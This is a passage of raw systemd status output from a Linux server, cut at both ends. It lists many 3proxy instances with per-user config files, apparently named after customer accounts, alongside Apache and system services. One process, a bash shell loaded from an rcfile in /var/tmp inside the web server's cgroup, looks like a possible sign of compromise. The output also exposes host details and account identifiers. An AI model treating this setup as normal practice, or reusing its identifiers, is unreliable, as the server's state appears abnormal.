/config/ramkumar-3ST2P7OT.cfg\\n | |- 2756 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-BW2L2KI3.cfg\\n | |- 3327 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0E5C56RA.cfg\\n | |- 3335 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-K1D3GS4N.cfg\\n | |- 4029 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-WLK46DCM.cfg\\n | |- 4579 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-ZUKVY733.cfg\\n | |- 4630 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-G4WY0WF3.cfg\\n | |- 4668 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-UMPH4OTL.cfg\\n | |- 4788 /usr/local/3proxy-0.9.4/bin/3proxy /config/asteryip-M4L87J4X.cfg\\n | |- 4901 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PWV8B9Z6.cfg\\n | |- 4979 /usr/local/3proxy-0.9.4/bin/3proxy /config/ZOPX11QV.cfg\\n | |- 5036 \\n | |- 5274 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-4NZTMODO.cfg\\n | |- 5313 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-2WUYHA6I.cfg\\n | |- 5437 /usr/local/3proxy-0.9.4/bin/3proxy /config/billings-YOL58Q9T.cfg\\n | |- 5605 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-U2O00JGK.cfg\\n | |- 5968 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-7Z6MC6BE.cfg\\n | |- 6412 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-QNXAME1O.cfg\\n | |- 6520 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-6PGLSKU8.cfg\\n | |- 6554 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-9YCVK3SG.cfg\\n | |- 6613 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-N6QU6WHW.cfg\\n | |- 6642 /usr/local/3proxy-0.9.4/bin/3proxy /config/surlydon-BVHYYT2X.cfg\\n | |- 6955 /usr/sbin/httpd -DFOREGROUND\\n | |- 6956 /usr/sbin/httpd -DFOREGROUND\\n | |- 6957 /usr/sbin/httpd -DFOREGROUND\\n | |- 6958 /usr/sbin/httpd -DFOREGROUND\\n | |- 6959 /usr/sbin/httpd -DFOREGROUND\\n | |- 6961 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-YS7NU8M7.cfg\\n | |- 7022 bash --rcfile /var/tmp/.bashrc\\n | |- 7660 /usr/local/3proxy-0.9.4/bin/3proxy /config/hermanke-VSHAYKW6.cfg\\n | |- 8734 /usr/local/3proxy-0.9.4/bin/3proxy /config/jokubasm-PKLAZQ1I.cfg\\n | |- 8856 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-9V5EZIT3.cfg\\n | |- 9000 /usr/local/3proxy-0.9.4/bin/3proxy /config/garywebe-S9N0UHLT.cfg\\n | |- 9347 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-3OHM4FDZ.cfg\\n | |- 9447 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-5ZHQ0PCJ.cfg\\n | |- 9450 /usr/local/3proxy-0.9.4/bin/3proxy /config/feeltheb-QHESSGCK.cfg\\n | |- 9648 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PCC7YB6Y.cfg\\n | |- 9863 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-5IC02KU4.cfg\\n | |- 9867 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-1SJNA571.cfg\\n | |- 9904 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-D0LAAPSM.cfg\\n | |-10055 /usr/local/3proxy-0.9.4/bin/3proxy /config/pcrazier-0AHA9804.cfg\\n | |-10348 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-HASRATUN-BGQ469MB.cfg\\n | |-10863 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-XUH7LKJP.cfg\\n | |-11039 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-NUKEBALA-R352JDMH.cfg\\n | |-11071 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-1YBJBB41.cfg\\n | |-11195 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-D5WH8BCA.cfg\\n | |-11938 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-6TMAH70E.cfg\\n | |-12018 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QX1Z22I2.cfg\\n | |-12112 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-ELOW7A5V.cfg\\n | |-12166 /usr/local/3proxy-0.9.4/bin/3proxy /config/ultimall-QEL0H6XE.cfg\\n | |-12520 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-WHRK9CZD.cfg\\n | |-12543 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VXED6OLM.cfg\\n | |-12931 /usr/local/3proxy-0.9.4/bin/3proxy /config/stevecay-HZLD5FHY.cfg\\n | |-13006 /usr/local/3proxy-0.9.4/bin/3proxy /config/rangaqas-E344BRC1.cfg\\n | |-13343 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-ILOCN0PB.cfg\\n | |-13377 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OJF7JY4X.cfg\\n | |-13481 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-GA37XALB.cfg\\n | |-13652 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-F0PUX096.cfg\\n | |-13796 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-UZG1R68R.cfg\\n | |-13861 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-LBLUXR6G.cfg\\n | |-14460 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-HHD0U3U2.cfg\\n | |-14581 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-IA9W3TYK.cfg\\n | |-14640 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-YPSMKRNB.cfg\\n | |-14755 /usr/local/3proxy-0.9.4/bin/3proxy /config/cschreib-74UXBGV4.cfg\\n | |-15058 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-G0N098AJ.cfg\\n | |-15265 /usr/local/3proxy-0.9.4/bin/3proxy /config/nanridao-6CCUUKND.cfg\\n | |-15445 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-EE1RFSOB.cfg\\n | |-15626 /usr/sbin/httpd -DFOREGROUND\\n | |-15778 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdanaa-NNFTTDBT.cfg\\n | |-16027 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-VUHAQ4CQ.cfg\\n | |-16077 /usr/local/3proxy-0.9.4/bin/3proxy /config/2bogdang-PBY9LEME.cfg\\n | |-16561 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-SLEATHEE-P5URGKWT.cfg\\n | |-16877 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CJ8V9HU7.cfg\\n | |-16917 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CIOQ0EXU.cfg\\n | |-17422 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-O2ZQ4E1U.cfg\\n | |-17572 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-7993ZMBW.cfg\\n | |-18608 /usr/local/3proxy-0.9.4/bin/3proxy /config/thebeaut-0CFZL22C.cfg\\n | |-18829 /usr/local/3proxy-0.9.4/bin/3proxy /config/\\n | |-19598 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-OHLA2N15.cfg\\n | |-19653 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-HYMFTR1H.cfg\\n | |-19766 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-7YGF2XOW.cfg\\n | |-19801 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-QGIHVIQJ.cfg\\n | |-20044 /usr/local/3proxy-0.9.4/bin/3proxy /config/terrymay-QNRSJSUS.cfg\\n | |-20473 /usr/local/3proxy-0.9.4/bin/3proxy /config/tehcarna-V8UEBZWR.cfg\\n | |-20562 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-O7QYSBW9.cfg\\n | |-20793 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-CODYLOFT-YAPB8PT6.cfg\\n | |-20873 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-7OIXEQC9.cfg\\n | |-21392 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-8S4MKNJY.cfg\\n | |-21411 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-LELIQ5IT.cfg\\n | |-21678 /usr/sbin/httpd -DFOREGROUND\\n | |-21715 /usr/sbin/httpd -DFOREGROUND\\n | |-21793 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-E79935I3.cfg\\n | |-21894 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-AN8DWF3Q.cfg\\n | |-22378 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-E38YLZHD.cfg\\n | |-22485 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VSYL474X.cfg\\n | |-22514 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-23AOGRTN.cfg\\n | |-22613 /usr/local/3proxy-0.9.4/bin/3proxy /config/imrankab-KQCKLORW.cfg\\n | |-23035 /usr/local/3proxy-0.9.4/bin/3proxy /config/yukic355-AWCKNKTI.cfg\\n | |-23220 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QFC385KS.cfg\\n | |-23627 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-WW673YX6.cfg\\n | |-23714 /usr/local/3proxy-0.9.4/bin/3proxy /config/sleathee-CGOKKNIV.cfg\\n | |-23758 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-L3HTZ57D.cfg\\n | |-23885 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-8GUH8YC2.cfg\\n | |-24009 /usr/local/3proxy-0.9.4/bin/3proxy /config/48531961-K3LI21MN.cfg\\n | |-24079 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-O827S44C.cfg\\n | |-24468 /usr/sbin/httpd -DFOREGROUND\\n | |-24893 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-QKFNZNUX.cfg\\n | |-25024 /usr/local/3proxy-0.9.4/bin/3proxy /config/mithunba-K83V1K6H.cfg\\n | |-25109 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-0Z8P5V0H.cfg\\n | |-25264 /usr/sbin/httpd -DFOREGROUND\\n | |-25449 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-IXL8ZDVL.cfg\\n | |-25480 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-Y8SNVKCQ.cfg\\n | |-25510 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OM2UJDQ6.cfg\\n | |-25518 /usr/local/3proxy-0.9.4/bin/3proxy /config/t1337dud-XWF3JM66.cfg\\n | |-25565 /usr/local/3proxy-0.9.4/bin/3proxy /config/sandym34-PRBNHE8F.cfg\\n | |-25673 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-OBS6Q994.cfg\\n | |-26042 /usr/local/3proxy-0.9.4/bin/3proxy /config/monajkum-Y4SXOLC6.cfg\\n | |-26381 /usr/local/3proxy-0.9.4/bin/3proxy /config/fedewine-9I3QB580.cfg\\n | |-26673 /usr/local/3proxy-0.9.4/bin/3proxy /config/socratou-X8DR61LP.cfg\\n | |-27356 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-0NK0179Z.cfg\\n | |-27590 /usr/local/3proxy-0.9.4/bin/3proxy /config/itsficho-MM3VJX9G.cfg\\n | |-27842 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-AXFEX9TY.cfg\\n | |-27872 /usr/local/3proxy-0.9.4/bin/3proxy /config/aplecdag-WXEB7445.cfg\\n | |-27922 /usr/local/3proxy-0.9.4/bin/3proxy /config/asadsaee-SWRSZRIX.cfg\\n | |-27937 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexndra-ADBQFT3Q.cfg\\n | |-27992 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-16I4R6K8.cfg\\n | |-28027 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-KXYUDMGK.cfg\\n | |-28287 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0SQJC17D.cfg\\n | |-28299 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-K5ZN8PLF.cfg\\n | |-28491 /usr/local/3proxy-0.9.4/bin/3proxy /config/itai9564-TDFUOF5K.cfg\\n | |-28564 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-4A25HKHM.cfg\\n | |-28807 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-T8C9YWSV.cfg\\n | |-29659 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexyour-CYE4VYQH.cfg\\n | |-30339 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-VO7HO08C.cfg\\n | |-30504 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-AUQ42DL4.cfg\\n | |-30715 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-Y8UW3IT9.cfg\\n | |-30836 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-2OEBUR1T.cfg\\n | |-30913 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-GVJ9H4MS.cfg\\n | |-31112 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-VCTNZAEZ.cfg\\n | |-31508 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-8EHTS5HA.cfg\\n | |-31651 /usr/local/3proxy-0.9.4/bin/3proxy /config/rsnvvqeh-1PZEPVMT.cfg\\n | |-32004 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-CHTHU3XZ.cfg\\n | |-32043 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-FGA2L7NA.cfg\\n | |-32402 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-ORVORJHT.cfg\\n | `-32595 /usr/sbin/httpd -DFOREGROUND\\n |-postfix.service\\n | |- 2021 /usr/libexec/postfix/master -w\\n | |- 2094 qmgr -l -t unix -u\\n | `-13682 pickup -l -t unix -u\\n |-NetworkManager-wait-online.service\\n |-rhel-dmesg.service\\n |-NetworkManager.service\\n | `-1044 /usr/sbin/NetworkManager --no-daemon\\n |-crond.service\\n | `-1042 /usr/sbin/crond -n\\n |-systemd-user-sessions.service\\n |-iptables.service\\n |-systemd-update-utmp.service\\n |-dbus.service\\n | `-1002 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation\\n |-irqbalance.service\\n | `-999 /usr/sbin/irqbalance --foreground\\n |-chronyd.service\\n | `-988 /usr/sbin/chronyd\\n |-polkit.service\\n | `-972 /usr/lib/polkit-1/polkitd --no-debug\\n |-systemd-logind.service\\n | `-961 /usr/lib/systemd/systemd-logind\\n |-systemd-tmpfiles-setup.service\\n |-auditd.service\\n | `-932 /sbin/auditd\\n |-rhel-import-state.service\\n |-boot-efi.mount\\n |-boot.mount\\n |-tmp.mount\\n |-dev-myvg-swap.swap\\n |-dev-disk-by\\\\x2did-dm\\\\x2duuid\\\\x2dLVM\\\\x2d1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avQMyWqcXgk7TADM52jXyhqjM2CbqRSoLR.swap\\n |-dev-disk-by\\\\x2duuid-2cc06eeb\\\\x2dff0e\\\\x2d417e\\\\x2dbd08\\\\x2df9ad5094062e.swap\\n |-dev-disk-by\\\\x2did-dm\\\\x2dname\\\\x2dmyvg\\\\x2dswap.swap\\n |-dev-dm\\\\x2d1.swap\\n |-dev-mapper-myvg\\\\x2dswap.swap\\n |-lvm2-monitor.service\\n |-systemd-journal-flush.service\\n |-systemd-udev-trigger.service\\n |-systemd-random-seed.service\\n |-system-lvm2\\\\x2dpvscan.slice\\n |-systemd-readahead-replay.service\\n |-rhel-readonly.service\\n |-systemd-tmpfiles-setup-dev.service\\n |-systemd-remount-fs.service\\n |-systemd-sysctl.service\\n |-systemd-udevd.service\\n | `-710 /usr/lib/systemd/systemd-udevd\\n |-rhel-domainname.service\\n |-kmod-static-nodes.service\\n |-lvm2-lvmetad.service\\n | `-691 /usr/sbin/lvmetad -f\\n |-system-selinux\\\\x2dpolicy\\\\x2dmigrate\\\\x2dlocal\\\\x2dchanges.slice\\n |-dev-mqueue.mount\\n |-system-systemd\\\\x2dfsck.slice\\n |-sys-kernel-debug.mount\\n |-dev-hugepages.mount\\n |-system-getty.slice\\n | `-getty@tty1.service\\n | `-1052 /sbin/agetty --noclear tty1 linux\\n |-systemd-journald.service\\n | `-675 /usr/lib/systemd/systemd-journald\\n |-systemd-fsck-root.service\\n |-sys-kernel-config.mount\\n |-systemd-vconsole-setup.service\\n `--.mount\\n\\n* 3proxy.service - 3proxy Proxy Server\\n Loaded: loaded (/usr/lib/systemd/system/3proxy.service; enabled; vendor preset: disabled)\\n Active: failed (Result: timeout) since Sat 2023-05-06 02:34:15 -05; 9 months 10 days ago\\n Process: 2483 ExecStart=/config/startup/start.sh (code=killed, signal=TERM)\\n\\n* add_ips.service - add ip ranges\\n Loaded: loaded (/usr/lib/systemd/system/add_ips.service; enabled; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:39 -05; 9 months 10 days ago\\n Process: 1273 ExecStart=/root/add_ips.sh (code=exited, status=0/SUCCESS)\\n Main PID: 1273 (code=exited, status=0/SUCCESS)\\n\\n* auditd.service - Security Auditing Service\\n Loaded: loaded (/usr/lib/systemd/system/auditd.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:auditd(8)\\n https://github.com/linux-audit/audit-documentation\\n Process: 936 ExecStartPost=/sbin/augenrules --load (code=exited, status=0/SUCCESS)\\n Process: 931 ExecStart=/sbin/auditd (code=exited, status=0/SUCCESS)\\n Main PID: 932 (auditd)\\n Tasks: 2\\n Memory: 32.0M\\n CGroup: /system.slice/auditd.service\\n `-932 /sbin/auditd\\n\\n* chronyd.service - NTP client/server\\n Loaded: loaded (/usr/lib/systemd/system/chronyd.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:chronyd(8)\\n man:chrony.conf(5)\\n Process: 1032 ExecStartPost=/usr/libexec/chrony-helper update-daemon (code=exited, status=0/SUCCESS)\\n Process: 976 ExecStart=/usr/sbin/chronyd $OPTIONS (code=exited, status=0/SUCCESS)\\n Main PID: 988 (chronyd)\\n Tasks: 1\\n Memory: 1.0M\\n CGroup: /system.slice/chronyd.service\\n `-988 /usr/sbin/chronyd\\n\\n* containerd.service - containerd container runtime\\n Loaded: loaded (/usr/lib/systemd/system/containerd.service; disabled; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Docs: https://containerd.io\\n Process: 1285 ExecStartPre=/sbin/modprobe overlay (code=exited, status=0/SUCCESS)\\n Main PID: 1297 (containerd)\\n Tasks: 32\\n Memory: 88.2M\\n CGroup: /system.slice/containerd.service\\n `-1297 /usr/bin/containerd\\n\\n* cpupower.service - Configure CPU power related settings\\n Loaded: loaded (/usr/lib/systemd/system/cpupower.service; disabled; vendor preset: disabled)\\n Active: inactive (dead)\\n\\n* crond.service - Command Scheduler\\n Loaded: loaded (/usr/lib/systemd/system/crond.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Main PID: 1042 (crond)\\n Tasks: 1\\n Memory: 1.1M\\n CGroup: /system.slice/crond.service\\n `-1042 /usr/sbin/crond -n\\n\\n* dbus.service - D-Bus System Message Bus\\n Loaded: loaded (/usr/lib/systemd/system/dbus.service; static; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:dbus-daemon(1)\\n Main PID: 1002 (dbus-daemon)\\n Tasks: 1\\n Memory: 1.5M\\n CGroup: /system.slice/dbus.service\\n `-1002 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation\\n\\n* dm-event.service - Device-mapper event daemon\\n Loaded: loaded (/usr/lib/systemd/system/dm-event.service; static; vendor preset: enabled)\\n Active: inactive (dead)\\n Docs: man:dmeventd(8)\\n\\n* docker.service - Docker Application Container Engine\\n Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:30 -05; 9 months 10 days ago\\n Docs: https://docs.docker.com\\n Main PID: 1589 (dockerd)\\n Tasks: 32\\n Memory: 134.3M\\n CGroup: /system.slice/docker.service\\n `-1589 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock\\n\\n* dracut-cmdline.service - dracut cmdline hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-cmdline.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Docs: man:dracut-cmdline.service(8)\\n Main PID: 232 (code=exited, status=0/SUCCESS)\\n\\n* dracut-initqueue.service - dracut initqueue hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-initqueue.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Docs: man:dracut-initqueue.service(8)\\n Main PID: 417 (code=exited, status=0/SUCCESS)\\n\\n* dracut-mount.service - dracut mount hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-mount.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Docs: man:dracut-mount.service(8)\\n\\n* dracut-pre-mount.service - dracut pre-mount hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-pre-mount.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Fri 2023-05-05 21:32:16 -05; 9 months 10 days ago\\n Docs: man:dracut-pre-mount.service(8)\\n\\n* dracut-pre-pivot.service - dracut pre-pivot and cleanup hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-pre-pivot.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Docs: man:dracut-pre-pivot.service(8)\\n Main PID: 627 (code=exited, status=0/SUCCESS)\\n\\n* dracut-pre-trigger.service - dracut pre-trigger hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-pre-trigger.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Fri 2023-05-05 21:32:14 -05; 9 months 10 days ago\\n Docs: man:dracut-pre-trigger.service(8)\\n\\n* dracut-pre-udev.service - dracut pre-udev hook\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-pre-udev.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Docs: man:dracut-pre-udev.service(8)\\n Main PID: 356 (code=exited, status=0/SUCCESS)\\n\\n* dracut-shutdown.service - Restore /run/initramfs\\n Loaded: loaded (/usr/lib/systemd/system/../../dracut/modules.d/98systemd/dracut-shutdown.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:dracut-shutdown.service(8)\\n\\n* emergency.service - Emergency Shell\\n Loaded: loaded (/usr/lib/systemd/system/emergency.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:sulogin(8)\\n\\n* firewalld.service\\n Loaded: masked (/dev/null; bad)\\n Active: inactive (dead)\\n\\n* getty@tty1.service - Getty on tty1\\n Loaded: loaded (/usr/lib/systemd/system/getty@.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:agetty(8)\\n man:systemd-getty-generator(8)\\n http://0pointer.de/blog/projects/serial-console.html\\n Main PID: 1052 (agetty)\\n CGroup: /system.slice/system-getty.slice/getty@tty1.service\\n `-1052 /sbin/agetty --noclear tty1 linux\\n\\n* httpd.service - The Apache HTTP Server\\n Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:34 -05; 9 months 10 days ago\\n Docs: man:httpd(8)\\n man:apachectl(8)\\n Process: 6935 ExecReload=/usr/sbin/httpd $OPTIONS -k graceful (code=exited, status=0/SUCCESS)\\n Main PID: 1271 (httpd)\\n Status: \\\"Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec\\\"\\n Tasks: 2588\\n Memory: 1.5G\\n CGroup: /system.slice/httpd.service\\n |- 592 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-HADBRXK0.cfg\\n |- 623 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-V2BMKX5R.cfg\\n |- 650 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-8TL81Y9B.cfg\\n |- 851 /usr/local/3proxy-0.9.4/bin/3proxy /config/bionikbu-040GM8VD.cfg\\n |- 1019 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-J5MH9BQW.cfg\\n |- 1093 /usr/local/3proxy-0.9.4/bin/3proxy /config/SRY11J7N.cfg\\n |- 1271 /usr/sbin/httpd -DFOREGROUND\\n |- 1427 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-WGULZZ66.cfg\\n |- 1497 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-37QNNQB9.cfg\\n |- 1954 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-34E12D1P.cfg\\n |- 1987 /usr/local/3proxy-0.9.4/bin/3proxy /config/pompompu-78E7MSY3.cfg\\n |- 2562 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-NWBOWTQW.cfg\\n |- 2580 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-3ST2P7OT.cfg\\n |- 2756 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-BW2L2KI3.cfg\\n |- 3327 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0E5C56RA.cfg\\n |- 3335 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-K1D3GS4N.cfg\\n |- 4029 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-WLK46DCM.cfg\\n |- 4579 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-ZUKVY733.cfg\\n |- 4630 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-G4WY0WF3.cfg\\n |- 4668 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-UMPH4OTL.cfg\\n |- 4788 /usr/local/3proxy-0.9.4/bin/3proxy /config/asteryip-M4L87J4X.cfg\\n |- 4901 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PWV8B9Z6.cfg\\n |- 4979 /usr/local/3proxy-0.9.4/bin/3proxy /config/ZOPX11QV.cfg\\n |- 5036 \\n |- 5274 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-4NZTMODO.cfg\\n |- 5313 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-2WUYHA6I.cfg\\n |- 5437 /usr/local/3proxy-0.9.4/bin/3proxy /config/billings-YOL58Q9T.cfg\\n |- 5605 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-U2O00JGK.cfg\\n |- 5968 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-7Z6MC6BE.cfg\\n |- 6412 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-QNXAME1O.cfg\\n |- 6520 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-6PGLSKU8.cfg\\n |- 6554 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-9YCVK3SG.cfg\\n |- 6613 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-N6QU6WHW.cfg\\n |- 6642 /usr/local/3proxy-0.9.4/bin/3proxy /config/surlydon-BVHYYT2X.cfg\\n |- 6955 /usr/sbin/httpd -DFOREGROUND\\n |- 6956 /usr/sbin/httpd -DFOREGROUND\\n |- 6957 /usr/sbin/httpd -DFOREGROUND\\n |- 6958 /usr/sbin/httpd -DFOREGROUND\\n |- 6959 /usr/sbin/httpd -DFOREGROUND\\n |- 6961 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-YS7NU8M7.cfg\\n |- 7022 bash --rcfile /var/tmp/.bashrc\\n |- 7660 /usr/local/3proxy-0.9.4/bin/3proxy /config/hermanke-VSHAYKW6.cfg\\n |- 8734 